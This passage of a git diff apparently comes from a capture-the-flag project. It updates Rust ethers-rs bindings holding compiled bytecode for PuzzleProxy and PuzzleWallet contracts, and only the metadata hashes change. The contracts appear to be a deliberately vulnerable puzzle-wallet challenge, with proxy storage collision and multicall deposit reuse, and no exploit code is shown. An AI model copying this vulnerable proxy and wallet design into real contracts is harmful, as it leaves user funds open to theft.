\x01`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xADW`\0\x80\xFD[Pa\0[a\0\xBC6`\x04a\x03\xD1V[a\x01pV[4\x80\x15a\0\xCDW`\0\x80\xFD[Pa\0[a\0\xDC6`\x04a\x03\xD1V[a\x01\xD5V[4\x80\x15a\0\xEDW`\0\x80\xFD[Pa\0[a\0\xFC6`\x04a\x03\xD1V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[4\x80\x15a\x01*W`\0\x80\xFD[P`\x01Ta\0\x85\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01na\x01i\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCT\x90V[a\x02\xD3V[V[`\x01T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\xC9W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x17`$\x82\x01Rv!\xB0\xB662\xB9\x104\xB9\x9077\xBA\x10:42\x900\xB26\xB4\xB7`I\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[a\x01\xD2\x81a\x02\xF7V[PV[`\x01T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02)W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x17`$\x82\x01Rv!\xB0\xB662\xB9\x104\xB9\x9077\xBA\x10:42\x900\xB26\xB4\xB7`I\x1B`D\x82\x01R`d\x01a\x01\xC0V[`\0T`\x01`\x01`\xA0\x1B\x03\x82\x81\x16\x91\x16\x14a\x02\xAEW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x81\x01\x91\x90\x91R\x7FExpected new admin by the curren`D\x82\x01R\x7Ft admin is not the pending admin`d\x82\x01R`\x84\x01a\x01\xC0V[P`\0T`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91\x90\x91\x17\x90UV[6`\0\x807`\0\x806`\0\x84Z\xF4=`\0\x80>\x80\x80\x15a\x02\xF2W=`\0\xF3[=`\0\xFD[a\x03\0\x81a\x037V[`@Q`\x01`\x01`\xA0\x1B\x03\x82\x16\x90\x7F\xBC|\xD7Z \xEE'\xFD\x9A\xDE\xBA\xB3 A\xF7U!M\xBCk\xFF\xA9\x0C\xC0\"[9\xDA.\\-;\x90`\0\x90\xA2PV[`\x01`\x01`\xA0\x1B\x03\x81\x16;a\x03\xADW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`6`$\x82\x01R\x7FUpgradeableProxy: new implementa`D\x82\x01Ru\x1D\x1A[\xDB\x88\x1A\\\xC8\x1B\x9B\xDD\x08\x18H\x18\xDB\xDB\x9D\x1C\x98X\xDD`R\x1B`d\x82\x01R`\x84\x01a\x01\xC0V[\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCUV[`\0` \x82\x84\x03\x12\x15a\x03\xE3W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\xFAW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 Z\xF0#\n\xFD\x81N-#\xF2d\x819\xB9D\x18R\xEE\xA6\xDE\x03\r^\xC1\x06\xA1uN\x16\xB39\x1AdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static PUZZLEPROXY_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/puzzle_wallet.rs b/ctf/src/abi/puzzle_wallet.rs index 7755ae7..8357d02 100644 --- a/ctf/src/abi/puzzle_wallet.rs +++ b/ctf/src/abi/puzzle_wallet.rs @@ -263,12 +263,12 @@ pub mod puzzle_wallet { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\t\xA7\x80a\0 `\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0\x91W`\x005`\xE0\x1C\x80c\xB6\x1D'\xF6\x11a\0YW\x80c\xB6\x1D'\xF6\x14a\x01YW\x80c\xB7\xB0B-\x14a\x01lW\x80c\xD0\xE3\r\xB0\x14a\x01\x8CW\x80c\xD96T~\x14a\x01\x94W\x80c\xE42R\xD7\x14a\x01\xD4W`\0\x80\xFD[\x80c'\xE25\xE3\x14a\0\x96W\x80cs\xADF\x8A\x14a\0\xD6W\x80c\x8D\xA5\xCB[\x14a\0\xECW\x80c\x9DQ\xD9\xB7\x14a\x01$W\x80c\xAC\x96P\xD8\x14a\x01FW[`\0\x80\xFD[4\x80\x15a\0\xA2W`\0\x80\xFD[Pa\0\xC3a\0\xB16`\x04a\x07BV[`\x03` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xE2W`\0\x80\xFD[Pa\0\xC3`\x01T\x81V[4\x80\x15a\0\xF8W`\0\x80\xFD[P`\0Ta\x01\x0C\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0\xCDV[4\x80\x15a\x010W`\0\x80\xFD[Pa\x01Da\x01?6`\x04a\x07dV[a\x01\xF4V[\0[a\x01Da\x01T6`\x04a\x07}V[a\x02\x7FV[a\x01Da\x01g6`\x04a\x07\xF2V[a\x04iV[4\x80\x15a\x01xW`\0\x80\xFD[Pa\x01Da\x01\x876`\x04a\x07dV[a\x05\xBEV[a\x01Da\x06\x1BV[4\x80\x15a\x01\xA0W`\0\x80\xFD[Pa\x01\xC4a\x01\xAF6`\x04a\x07BV[`\x02` R`\0\x90\x81R`@\x90 T`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0\xCDV[4\x80\x15a\x01\xE0W`\0\x80\xFD[Pa\x01Da\x01\xEF6`\x04a\x07BV[a\x06\xB8V[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x02,W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`@Q\x80\x91\x03\x90\xFD[G\x15a\x02zW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x19`$\x82\x01R\x7FContract balance is not 0\0\0\0\0\0\0\0`D\x82\x01R`d\x01a\x02#V[`\x01UV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x02\xAEW`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`\0\x80[\x82\x81\x10\x15a\x04cW`\0\x84\x84\x83\x81\x81\x10a\x02\xCEWa\x02\xCEa\x08\xA2V[\x90P` \x02\x81\x01\x90a\x02\xE0\x91\x90a\x08\xB8V[\x80\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x93\x92\x91\x90\x81\x81R` \x01\x83\x83\x80\x82\x847`\0\x92\x01\x91\x90\x91RPPP` \x82\x01Q\x91\x92PPc\x02\xF1\xCF%`\xE4\x1B`\x01`\x01`\xE0\x1B\x03\x19\x82\x16\x01a\x03\x87W\x83\x15a\x03\x82W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FDeposit can only be called once\0`D\x82\x01R`d\x01a\x02#V[`\x01\x93P[`\x000\x87\x87\x86\x81\x81\x10a\x03\x9CWa\x03\x9Ca\x08\xA2V[\x90P` \x02\x81\x01\x90a\x03\xAE\x91\x90a\x08\xB8V[`@Qa\x03\xBC\x92\x91\x90a\t\x06V[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x03\xF7W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x03\xFCV[``\x91P[PP\x90P\x80a\x04MW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1B`$\x82\x01R\x7FError while delegating call\0\0\0\0\0`D\x82\x01R`d\x01a\x02#V[PPP\x80\x80a\x04[\x90a\t,V[\x91PPa\x02\xB2V[PPPPV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x04\x98W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[3`\0\x90\x81R`\x03` R`@\x90 T\x83\x11\x15a\x04\xEEW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x14`$\x82\x01RsInsufficient balance``\x1B`D\x82\x01R`d\x01a\x02#V[3`\0\x90\x81R`\x03` R`@\x81 \x80T\x85\x92\x90a\x05\r\x90\x84\x90a\tEV[\x92PP\x81\x90UP`\0\x84`\x01`\x01`\xA0\x1B\x03\x16\x84\x84\x84`@Qa\x051\x92\x91\x90a\t\x06V[`\0`@Q\x80\x83\x03\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x05nW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x05sV[``\x91P[PP\x90P\x80a\x05\xB7W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x10`$\x82\x01Ro\x11^\x19X\xDD]\x1A[\xDB\x88\x19\x98Z[\x19Y`\x82\x1B`D\x82\x01R`d\x01a\x02#V[PPPPPV[`\x01T\x15a\x06\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x10[\x1C\x99XY\x1EH\x1A[\x9A]\x1AX[\x1A^\x99Y`j\x1B`D\x82\x01R`d\x01a\x02#V[`\x01U`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90UV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x06JW`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`\x01TG\x11\x15a\x06\x92W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x13X^\x08\x18\x98[\x18[\x98\xD9H\x1C\x99XX\xDA\x19Y`j\x1B`D\x82\x01R`d\x01a\x02#V[3`\0\x90\x81R`\x03` R`@\x81 \x80T4\x92\x90a\x06\xB1\x90\x84\x90a\t^V[\x90\x91UPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x07\x02W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\r`$\x82\x01Rl'7\xBA\x10:42\x907\xBB\xB72\xB9`\x99\x1B`D\x82\x01R`d\x01a\x02#V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R`\x02` R`@\x90 \x80T`\xFF\x19\x16`\x01\x17\x90UV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07=W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x07TW`\0\x80\xFD[a\x07]\x82a\x07&V[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x07vW`\0\x80\xFD[P5\x91\x90PV[`\0\x80` \x83\x85\x03\x12\x15a\x07\x90W`\0\x80\xFD[\x825g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x07\xA8W`\0\x80\xFD[\x81\x85\x01\x91P\x85`\x1F\x83\x01\x12a\x07\xBCW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x07\xCBW`\0\x80\xFD[\x86` \x82`\x05\x1B\x85\x01\x01\x11\x15a\x07\xE0W`\0\x80\xFD[` \x92\x90\x92\x01\x96\x91\x95P\x90\x93PPPPV[`\0\x80`\0\x80``\x85\x87\x03\x12\x15a\x08\x08W`\0\x80\xFD[a\x08\x11\x85a\x07&V[\x93P` \x85\x015\x92P`@\x85\x015g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x085W`\0\x80\xFD[\x81\x87\x01\x91P\x87`\x1F\x83\x01\x12a\x08IW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x08XW`\0\x80\xFD[\x88` \x82\x85\x01\x01\x11\x15a\x08jW`\0\x80\xFD[\x95\x98\x94\x97PP` \x01\x94PPPV[` \x80\x82R`\x0F\x90\x82\x01Rn\x13\x9B\xDD\x08\x1D\xDA\x1A]\x19[\x1A\\\xDD\x19Y`\x8A\x1B`@\x82\x01R``\x01\x90V[cNH{q`\xE0\x1B`\0R`2`\x04R`$`\0\xFD[`\0\x80\x835`\x1E\x19\x846\x03\x01\x81\x12a\x08\xCFW`\0\x80\xFD[\x83\x01\x805\x91Pg\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x11\x15a\x08\xEAW`\0\x80\xFD[` \x01\x91P6\x81\x90\x03\x82\x13\x15a\x08\xFFW`\0\x80\xFD[\x92P\x92\x90PV[\x81\x83\x827`\0\x91\x01\x90\x81R\x91\x90PV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0`\x01\x82\x01a\t>Wa\t>a\t\x16V[P`\x01\x01\x90V[\x81\x81\x03\x81\x81\x11\x15a\tXWa\tXa\t\x16V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\tXWa\tXa\t\x16V\xFE\xA2dipfsX\"\x12 \xC9E\xBD\x14B)\x91\x05\xFA|\xCEc\xC4(\x88<\xC4\xD1\xED\x18 \xE94\xD8\xE6\xBDe\r\x8AB\xA6\xA6dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\t\xA7\x80a\0 `\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0\x91W`\x005`\xE0\x1C\x80c\xB6\x1D'\xF6\x11a\0YW\x80c\xB6\x1D'\xF6\x14a\x01YW\x80c\xB7\xB0B-\x14a\x01lW\x80c\xD0\xE3\r\xB0\x14a\x01\x8CW\x80c\xD96T~\x14a\x01\x94W\x80c\xE42R\xD7\x14a\x01\xD4W`\0\x80\xFD[\x80c'\xE25\xE3\x14a\0\x96W\x80cs\xADF\x8A\x14a\0\xD6W\x80c\x8D\xA5\xCB[\x14a\0\xECW\x80c\x9DQ\xD9\xB7\x14a\x01$W\x80c\xAC\x96P\xD8\x14a\x01FW[`\0\x80\xFD[4\x80\x15a\0\xA2W`\0\x80\xFD[Pa\0\xC3a\0\xB16`\x04a\x07BV[`\x03` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xE2W`\0\x80\xFD[Pa\0\xC3`\x01T\x81V[4\x80\x15a\0\xF8W`\0\x80\xFD[P`\0Ta\x01\x0C\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0\xCDV[4\x80\x15a\x010W`\0\x80\xFD[Pa\x01Da\x01?6`\x04a\x07dV[a\x01\xF4V[\0[a\x01Da\x01T6`\x04a\x07}V[a\x02\x7FV[a\x01Da\x01g6`\x04a\x07\xF2V[a\x04iV[4\x80\x15a\x01xW`\0\x80\xFD[Pa\x01Da\x01\x876`\x04a\x07dV[a\x05\xBEV[a\x01Da\x06\x1BV[4\x80\x15a\x01\xA0W`\0\x80\xFD[Pa\x01\xC4a\x01\xAF6`\x04a\x07BV[`\x02` R`\0\x90\x81R`@\x90 T`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0\xCDV[4\x80\x15a\x01\xE0W`\0\x80\xFD[Pa\x01Da\x01\xEF6`\x04a\x07BV[a\x06\xB8V[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x02,W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`@Q\x80\x91\x03\x90\xFD[G\x15a\x02zW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x19`$\x82\x01R\x7FContract balance is not 0\0\0\0\0\0\0\0`D\x82\x01R`d\x01a\x02#V[`\x01UV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x02\xAEW`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`\0\x80[\x82\x81\x10\x15a\x04cW`\0\x84\x84\x83\x81\x81\x10a\x02\xCEWa\x02\xCEa\x08\xA2V[\x90P` \x02\x81\x01\x90a\x02\xE0\x91\x90a\x08\xB8V[\x80\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x93\x92\x91\x90\x81\x81R` \x01\x83\x83\x80\x82\x847`\0\x92\x01\x91\x90\x91RPPP` \x82\x01Q\x91\x92PPc\x02\xF1\xCF%`\xE4\x1B`\x01`\x01`\xE0\x1B\x03\x19\x82\x16\x01a\x03\x87W\x83\x15a\x03\x82W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FDeposit can only be called once\0`D\x82\x01R`d\x01a\x02#V[`\x01\x93P[`\x000\x87\x87\x86\x81\x81\x10a\x03\x9CWa\x03\x9Ca\x08\xA2V[\x90P` \x02\x81\x01\x90a\x03\xAE\x91\x90a\x08\xB8V[`@Qa\x03\xBC\x92\x91\x90a\t\x06V[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x03\xF7W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x03\xFCV[``\x91P[PP\x90P\x80a\x04MW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1B`$\x82\x01R\x7FError while delegating call\0\0\0\0\0`D\x82\x01R`d\x01a\x02#V[PPP\x80\x80a\x04[\x90a\t,V[\x91PPa\x02\xB2V[PPPPV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x04\x98W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[3`\0\x90\x81R`\x03` R`@\x90 T\x83\x11\x15a\x04\xEEW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x14`$\x82\x01RsInsufficient balance``\x1B`D\x82\x01R`d\x01a\x02#V[3`\0\x90\x81R`\x03` R`@\x81 \x80T\x85\x92\x90a\x05\r\x90\x84\x90a\tEV[\x92PP\x81\x90UP`\0\x84`\x01`\x01`\xA0\x1B\x03\x16\x84\x84\x84`@Qa\x051\x92\x91\x90a\t\x06V[`\0`@Q\x80\x83\x03\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x05nW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x05sV[``\x91P[PP\x90P\x80a\x05\xB7W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x10`$\x82\x01Ro\x11^\x19X\xDD]\x1A[\xDB\x88\x19\x98Z[\x19Y`\x82\x1B`D\x82\x01R`d\x01a\x02#V[PPPPPV[`\x01T\x15a\x06\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x10[\x1C\x99XY\x1EH\x1A[\x9A]\x1AX[\x1A^\x99Y`j\x1B`D\x82\x01R`d\x01a\x02#V[`\x01U`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90UV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x06JW`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`\x01TG\x11\x15a\x06\x92W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x13X^\x08\x18\x98[\x18[\x98\xD9H\x1C\x99XX\xDA\x19Y`j\x1B`D\x82\x01R`d\x01a\x02#V[3`\0\x90\x81R`\x03` R`@\x81 \x80T4\x92\x90a\x06\xB1\x90\x84\x90a\t^V[\x90\x91UPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x07\x02W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\r`$\x82\x01Rl'7\xBA\x10:42\x907\xBB\xB72\xB9`\x99\x1B`D\x82\x01R`d\x01a\x02#V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R`\x02` R`@\x90 \x80T`\xFF\x19\x16`\x01\x17\x90UV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07=W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x07TW`\0\x80\xFD[a\x07]\x82a\x07&V[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x07vW`\0\x80\xFD[P5\x91\x90PV[`\0\x80` \x83\x85\x03\x12\x15a\x07\x90W`\0\x80\xFD[\x825g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x07\xA8W`\0\x80\xFD[\x81\x85\x01\x91P\x85`\x1F\x83\x01\x12a\x07\xBCW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x07\xCBW`\0\x80\xFD[\x86` \x82`\x05\x1B\x85\x01\x01\x11\x15a\x07\xE0W`\0\x80\xFD[` \x92\x90\x92\x01\x96\x91\x95P\x90\x93PPPPV[`\0\x80`\0\x80``\x85\x87\x03\x12\x15a\x08\x08W`\0\x80\xFD[a\x08\x11\x85a\x07&V[\x93P` \x85\x015\x92P`@\x85\x015g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x085W`\0\x80\xFD[\x81\x87\x01\x91P\x87`\x1F\x83\x01\x12a\x08IW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x08XW`\0\x80\xFD[\x88` \x82\x85\x01\x01\x11\x15a\x08jW`\0\x80\xFD[\x95\x98\x94\x97PP` \x01\x94PPPV[` \x80\x82R`\x0F\x90\x82\x01Rn\x13\x9B\xDD\x08\x1D\xDA\x1A]\x19[\x1A\\\xDD\x19Y`\x8A\x1B`@\x82\x01R``\x01\x90V[cNH{q`\xE0\x1B`\0R`2`\x04R`$`\0\xFD[`\0\x80\x835`\x1E\x19\x846\x03\x01\x81\x12a\x08\xCFW`\0\x80\xFD[\x83\x01\x805\x91Pg\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x11\x15a\x08\xEAW`\0\x80\xFD[` \x01\x91P6\x81\x90\x03\x82\x13\x15a\x08\xFFW`\0\x80\xFD[\x92P\x92\x90PV[\x81\x83\x827`\0\x91\x01\x90\x81R\x91\x90PV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0`\x01\x82\x01a\t>Wa\t>a\t\x16V[P`\x01\x01\x90V[\x81\x81\x03\x81\x81\x11\x15a\tXWa\tXa\t\x16V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\tXWa\tXa\t\x16V\xFE\xA2dipfsX\"\x12 &'\x84\x89\x01\xE4>\x13\x99\xD0\xF5\x9CM#^\"?\xB9\xB4\t\x80\x98\xC0\x83\x1A\xEB[\0\x19h\r\xDAdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static PUZZLEWALLET_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0\x91W`\x005`\xE0\x1C\x80c\xB6\x1D'\xF6\x11a\0YW\x80c\xB6\x1D'\xF6\x14a\x01YW\x80c\xB7\xB0B-\x14a\x01lW\x80c\xD0\xE3\r\xB0\x14a\x01\x8CW\x80c\xD96T~\x14a\x01\x94W\x80c\xE42R\xD7\x14a\x01\xD4W`\0\x80\xFD[\x80c'\xE25\xE3\x14a\0\x96W\x80cs\xADF\x8A\x14a\0\xD6W\x80c\x8D\xA5\xCB[\x14a\0\xECW\x80c\x9DQ\xD9\xB7\x14a\x01$W\x80c\xAC\x96P\xD8\x14a\x01FW[`\0\x80\xFD[4\x80\x15a\0\xA2W`\0\x80\xFD[Pa\0\xC3a\0\xB16`\x04a\x07BV[`\x03` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xE2W`\0\x80\xFD[Pa\0\xC3`\x01T\x81V[4\x80\x15a\0\xF8W`\0\x80\xFD[P`\0Ta\x01\x0C\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0\xCDV[4\x80\x15a\x010W`\0\x80\xFD[Pa\x01Da\x01?6`\x04a\x07dV[a\x01\xF4V[\0[a\x01Da\x01T6`\x04a\x07}V[a\x02\x7FV[a\x01Da\x01g6`\x04a\x07\xF2V[a\x04iV[4\x80\x15a\x01xW`\0\x80\xFD[Pa\x01Da\x01\x876`\x04a\x07dV[a\x05\xBEV[a\x01Da\x06\x1BV[4\x80\x15a\x01\xA0W`\0\x80\xFD[Pa\x01\xC4a\x01\xAF6`\x04a\x07BV[`\x02` R`\0\x90\x81R`@\x90 T`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0\xCDV[4\x80\x15a\x01\xE0W`\0\x80\xFD[Pa\x01Da\x01\xEF6`\x04a\x07BV[a\x06\xB8V[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x02,W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`@Q\x80\x91\x03\x90\xFD[G\x15a\x02zW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x19`$\x82\x01R\x7FContract balance is not 0\0\0\0\0\0\0\0`D\x82\x01R`d\x01a\x02#V[`\x01UV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x02\xAEW`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`\0\x80[\x82\x81\x10\x15a\x04cW`\0\x84\x84\x83\x81\x81\x10a\x02\xCEWa\x02\xCEa\x08\xA2V[\x90P` \x02\x81\x01\x90a\x02\xE0\x91\x90a\x08\xB8V[\x80\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x93\x92\x91\x90\x81\x81R` \x01\x83\x83\x80\x82\x847`\0\x92\x01\x91\x90\x91RPPP` \x82\x01Q\x91\x92PPc\x02\xF1\xCF%`\xE4\x1B`\x01`\x01`\xE0\x1B\x03\x19\x82\x16\x01a\x03\x87W\x83\x15a\x03\x82W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FDeposit can only be called once\0`D\x82\x01R`d\x01a\x02#V[`\x01\x93P[`\x000\x87\x87\x86\x81\x81\x10a\x03\x9CWa\x03\x9Ca\x08\xA2V[\x90P` \x02\x81\x01\x90a\x03\xAE\x91\x90a\x08\xB8V[`@Qa\x03\xBC\x92\x91\x90a\t\x06V[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x03\xF7W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x03\xFCV[``\x91P[PP\x90P\x80a\x04MW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1B`$\x82\x01R\x7FError while delegating call\0\0\0\0\0`D\x82\x01R`d\x01a\x02#V[PPP\x80\x80a\x04[\x90a\t,V[\x91PPa\x02\xB2V[PPPPV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x04\x98W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[3`\0\x90\x81R`\x03` R`@\x90 T\x83\x11\x15a\x04\xEEW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x14`$\x82\x01RsInsufficient balance``\x1B`D\x82\x01R`d\x01a\x02#V[3`\0\x90\x81R`\x03` R`@\x81 \x80T\x85\x92\x90a\x05\r\x90\x84\x90a\tEV[\x92PP\x81\x90UP`\0\x84`\x01`\x01`\xA0\x1B\x03\x16\x84\x84\x84`@Qa\x051\x92\x91\x90a\t\x06V[`\0`@Q\x80\x83\x03\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x05nW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x05sV[``\x91P[PP\x90P\x80a\x05\xB7W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x10`$\x82\x01Ro\x11^\x19X\xDD]\x1A[\xDB\x88\x19\x98Z[\x19Y`\x82\x1B`D\x82\x01R`d\x01a\x02#V[PPPPPV[`\x01T\x15a\x06\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x10[\x1C\x99XY\x1EH\x1A[\x9A]\x1AX[\x1A^\x99Y`j\x1B`D\x82\x01R`d\x01a\x02#V[`\x01U`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90UV[3`\0\x90\x81R`\x02` R`@\x90 